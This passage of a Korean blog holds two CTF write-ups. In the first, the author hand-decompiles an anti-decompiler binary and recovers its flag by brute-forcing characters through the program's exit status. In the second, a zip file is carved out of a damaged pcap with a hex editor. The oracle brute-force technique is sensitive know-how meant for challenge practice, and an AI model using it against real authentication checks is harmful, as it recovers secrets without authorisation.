0x00000000004008b6 <+378>:    mov    edi,0x1
0x00000000004008bb <+383>:    call   0x400620 <exit@plt>
0x00000000004008c0 <+388>:    push   rbx
0x00000000004008c1 <+389>:    mov    eax,DWORD PTR [rbp-0x94]
0x00000000004008c7 <+395>:    mov    edi,eax
0x00000000004008c9 <+397>:    call   0x4005d0 <close@plt>
0x00000000004008ce <+402>:    mov    eax,0x0
0x00000000004008d3 <+407>:    mov    rdx,QWORD PTR [rbp-0x8]
0x00000000004008d7 <+411>:    xor    rdx,QWORD PTR fs:0x28
0x00000000004008e0 <+420>:    je     0x4008e7 <main+427>
0x00000000004008e2 <+422>:    call   0x4005b0 <__stack_chk_fail@plt>
0x00000000004008e7 <+427>:    leave  
0x00000000004008e8 <+428>:    ret 
End of assembler dump.



3. Solve

말 그대로 HexRay로 분석하지 못하도록 Anti HexRay 기법이 걸려있다.
HexRay 플러그인으로 열어보려고 하면, positive sp value has been found라면 Decompilation failure가 뜨게 된다.
어쩔 수 없이 HandRay를 수행해야한다. IDA의 강점 중 하나인 Graph View를 이용하여 전체적인 분기문의 모습을 살펴보도록 하자.

생각보다 간단한 풀이가 될 듯하다. 좀 더 세부적으로 살펴보면서 찬찬히 HandRay를 하도록 하자.

일단 가장 먼저 나오는 분기문 부분이다. 크게 중요한 부분은 없는 듯 하고, loc_40081Cloc_400809로 이어지는 반복 문 또한, 메인 루틴에서 쓰이지 않으므로 무시해도 된다. 여기서 그나마 의미 있는 부분은 위 어셈블리 문에서

0x00000000004007e7 <+171>:    lea    rax,[rbp-0x30]
0x00000000004007eb <+175>:    mov    edx,0x20
0x00000000004007f0 <+180>:    mov    esi,0x0
0x00000000004007f5 <+185>:    mov    rdi,rax
0x00000000004007f8 <+188>:    call   0x4005c0 <memset@plt>

부분에 해당하는 memset함수 부분이다. 이 부분의 인자들과 기타 변수들을 적절히 해석하여 코드로 바꾸어 주자.

memset(unk_1, 0, 32);

본인의 경우에는 아직 rbp-0x30이 어떠한 변수인지 모르므로 unk_1이라는 식별자를 붙여주었다. 계속해서 다음 부분을 살펴보도록 하자.

이 부분이 가장 중요한 부분이다. 찬찬히 살펴보도록 하자. 가장 먼저 파일 경로로 보이는 문자열이 눈에 보인다. 내친김에 이 파일 경로로 무엇을 하는지 확인하자. Disassemble Dump에서는 다음 부분이다.

0x000000000040082a <+238>:    mov    esi,0x800
0x000000000040082f <+243>:    mov    edi,0x400a0e
0x0000000000400834 <+248>:    mov    eax,0x0
0x0000000000400839 <+253>:    call   0x400610 <open@plt>
0x000000000040083e <+258>:    mov    DWORD PTR [rbp-0x94],eax
0x0000000000400844 <+264>:    xor    rsp,rsp
0x0000000000400847 <+267>:    mov    rsp,r15
0x000000000040084a <+270>:    mov    eax,DWORD PTR [rbp-0x94]
0x0000000000400850 <+276>:    lea    rcx,[rbp-0x30]
0x0000000000400854 <+280>:    mov    edx,0x20
0x0000000000400859 <+285>:    mov    rsi,rcx
0x000000000040085c <+288>:    mov    edi,eax
0x000000000040085e <+290>:    call   0x4005e0 <read@plt>

여기서 rbp-0x94가 들어간 인자 위치로 보나, 두 함수에서 중복되어 쓰였다는 것을 보나, rbp-0x94fd(File Descriptor)라는 것을 알 수 있다. 또, open에서 얻어낸 fd값이 rbp-0x94즉, fd에 들어가고 그 값을 다시 read에서 File Descriptor로 사용하는 것으로 말미암아, /home/anti_hexray/flag라는 파일에서 무언가를 읽어온다는 것 또한 짐작할 수 있다. 여기서 입력된 값이 들어가는 버퍼는 위에서 unk_1이라고 명명한 rbp-0x30이다. 이제 이 정보들을 토대로 계속 코드를 재구성 해보자.

memset(buf, 0, 32);
fd = open("/home/anti_hexray/flag" 0x800, 32);
read(fd, buf, 32);

좋다, 지금까지 우리가 알아낸 사실은 32byte짜리 buf배열을 0으로 초기화 한 뒤, 그 buf/home/anti_hexray/flag의 값을 32byte만큼 읽어온다는 것이다. 계속 진행하도록 하자. 그 다음으로 살펴 볼 코드는 다음 부분이다.

0x0000000000400863 <+295>:    push   rsp
0x0000000000400864 <+296>:    mov    rax,QWORD PTR [rbp-0xb0]
0x000000000040086b <+303>:    add    rax,0x8
0x000000000040086f <+307>:    mov    rax,QWORD PTR [rax]
0x0000000000400872 <+310>:    mov    rdi,rax
0x0000000000400875 <+313>:    call   0x4005a0 <strlen@plt>
0x000000000040087a <+318>:    mov    rdx,rax
0x000000000040087d <+321>:    mov    rax,QWORD PTR [rbp-0xb0]
0x0000000000400884 <+328>:    add    rax,0x8
0x0000000000400888 <+332>:    mov    rcx,QWORD PTR [rax]
0x000000000040088b <+335>:    lea    rax,[rbp-0x30]
0x000000000040088f <+339>:    mov    rsi,rcx
0x0000000000400892 <+342>:    mov    rdi,rax
0x0000000000400895 <+345>:    call   0x400600 <memcmp@plt>
0x000000000040089a <+350>:    mov    DWORD PTR [rbp-0x9c],eax
0x00000000004008a0 <+356>:    cmp    DWORD PTR [rbp-0x9c],0x0
0x00000000004008a7 <+363>:    je     0x4008c0 <main+388>

전체 Graph View에서 본, 마지막 분기 부분 전까지 해석해보도록 하자. main+296에서 main+313까지를 보면, rbp-0xb0에서 0x8만큼을 더한 곳의 문자열을 strlen함수의 인자로 넘겨주고 있다. 그 다음, 그 값을 rdx를 통해 memcmp함수의 마지막 인자로 전달한다. 여기서 우리는 아직 rbp-0xb0+0x8의 정체를 모르기 때문에 일단은 unkStr이라 놓고 보겠다. memcmp함수에는 unkStr문자열의 길이를 구하여 그 만큼의 unkStr문자열을 위의 buf배열과 비교한다. 그럼 대충 짐작이 가지 않는가? unkStr은 유저가 건네준 Input이라는 것이? 그러나 이전까지의 함수 진행에서 별도의 입력 함수가 없었기에 본인은 unkStr이 Argv가 아닐까하고 예상했다. 그리고 나중에 GDB로 디버깅 결과 실제로 그러하였다.
뭐 이렇게 해서 unkStrArgv[1]이라는 것이 확정되었다. 자 그럼 조금 더 내려가면 memcmp의 결과값이 0, 즉 두 값이 같을 경우에만 0x4008c0주소로 점프하게 된다. 이는 전형적인 if문이다. 계속 코드를 복원하자.

memset(buf, 0, 32);
fd = open("/home/anti_hexray/flag" 0x800, 32);
read(fd, buf, 32);
lenArg = strlen(argv[1]);
if(memcmp(buf, argv[1], lenArg))

이제 남은 마지막 부분까지 해독해보도록 하자.

0x00000000004008a9 <+365>:    mov    eax,DWORD PTR [rbp-0x94]
0x00000000004008af <+371>:    mov    edi,eax
0x00000000004008b1 <+373>:    call   0x4005d0 <close@plt>
0x00000000004008b6 <+378>:    mov    edi,0x1
0x00000000004008bb <+383>:    call   0x400620 <exit@plt>
0x00000000004008c0 <+388>:    push   rbx
0x00000000004008c1 <+389>:    mov    eax,DWORD PTR [rbp-0x94]
0x00000000004008c7 <+395>:    mov    edi,eax
0x00000000004008c9 <+397>:    call   0x4005d0 <close@plt>
0x00000000004008ce <+402>:    mov    eax,0x0
0x00000000004008d3 <+407>:    mov    rdx,QWORD PTR [rbp-0x8]
0x00000000004008d7 <+411>:    xor    rdx,QWORD PTR fs:0x28
0x00000000004008e0 <+420>:    je     0x4008e7 <main+427>
0x00000000004008e2 <+422>:    call   0x4005b0 <__stack_chk_fail@plt>
0x00000000004008e7 <+427>:    leave  
0x00000000004008e8 <+428>:    ret

main+365에서 main_383까지를 해석하면, fd를 close함수를 통해 닫은 뒤, 인자인 edi에 0x1을 넣은 채로 exit함수를 실행해 프로그램을 종료하게 된다. 그 밑으로 main+388부터는 main+363의 조건분기문에 의해 분기된 부분으로서, 이 부분 또한 fd를 닫는 것 까지 같다. 다만 다른 점이라면 Stack Check를 수행하는 것과, eax의 값이 0인 채로 리턴된다는 것 정도이다. 자, 이제 전체 코드를 복원해보자.

memset(buf, 0, 32);
fd = open("/home/anti_hexray/flag" 0x800, 32);
read(fd, buf, 32);
lenArg = strlen(argv[1]);
if(memcmp(buf, argv[1], lenArg)){
    close(fd);
    exit(1);
}
close(fd);
return 0;

이 코드를 분석해보자. 사실상 이 코드가 뜻하는 바는 간단하다. 프로그램 호출시 Argv로 준 값과 파일에서 읽어온 값을 Argv의 길이만큼 비교해, 같다면 0을, 틀리다면 1을 리턴하게 된다. 그런데 여기서 의문이 생길 수 있을 것이다. 그래서, Auth값을 어떻게 구할건가? 물론 방법은 있다. 다음 화면을 보자.

실제 문제 서버 상에서 프로그램을 실행시킨 결과이다. 물론 코드와 같이 별도의 출력이라던가, 기타 Auth Key유추에 필요한 정보는 프로그램 상에서 주지 않는다. 그러나, 리눅스에 대해 어느 정도 다루어 본 사람들은 echo명령어를 떠올릴 수 있을 것이다. echo $?는 가장 나중에 실행되었던 프로그램의 리턴 값을 출력해주는 리눅스 쉘 명령어이다. 이를 응용하면 쉽게 문제를 풀 수 있을 것이다. 조금만 더 확인해보자.

보다시피, 특정한 값을 입력시 0으로 리턴되는 것을 볼 수 있다. memcmp함수는 어디까지나 1byte씩 비교하는 함수이므로…
뭐, 결론만 말하자면 0이 리턴 값으로 나오는 문자를 하나하나 브루트 포싱으로 구하면 완성된 문자열이 Auth Key이다.



4. Flag

Posted by RevDev
,

Inc0gnito CTF 2015 Write-Up | By RevDev

Forensic - 유출 추정 [150pt]


1. Ready to Solve
Problem
Alice는 자신의 컴퓨터에 공격자가 침입해서 중요한 zip 파일을 유출한 사실을 깨달았다.
급하게 도망치느라 공격자는 흔적을 완벽하게 지우지 못했다.
손상된 pcap 파일을 통해 어떤 파일이 유출되었는지를 분석해보자.
leakage_3c33219e8f72b7e29c50b3d16c5de63253ed2538.pcap 


Used Tools
Bless Hex Editor



2. Gathering Informations
Try with Wireshark




3. Solve

문제 자체에서 손상된 pcap파일을 주었다고 하였으므로 와이어샤크로 여는 것은 의미없다.
그렇다면 직접 헥스 에디터로 분석을 해주면 될 것이다. 가장 먼저 헥스 에디터로 주어진 파일을 열면 다음과 같을 것이다.

본인의 경우 우분투 환경에서 Bless Hex Editor를 사용했다. 물론 윈도우에서 HxD를 사용하였다 하더라도 문제 푸는데에는 전혀 지장이 없다. 툴이야 어떻게 되었던가 위의 문자열을 살펴보면 계속해서 key.zip이라는 이름의 파일이 거론되고 있다는 것을 알 수 있다. 그럼 zip파일이 위의 pcap파일 내에 존재하는지 알아보자. zip의 시그니쳐는 0x50, 0x4B, 0x03, 0x04, 즉 PK..이라는 문자열이 된다. 그 부분이 존재한다면, 우리는 pcap파일 내에 zip파일이 통째로 존재한다고 여겨도 무방할 것이다. 운이 좋게도 해당 문자열이 존재함을 알 수 있다.

따라서 우리는 위와 같이 zip파일을 특정해낼 수 있다. 이를 따로 빼내어 zip파일로 저장하자.

그리고 추출한 zip파일을 열면 key라는 파일을 얻을 수 있다.



4. Flag




Posted by RevDev
,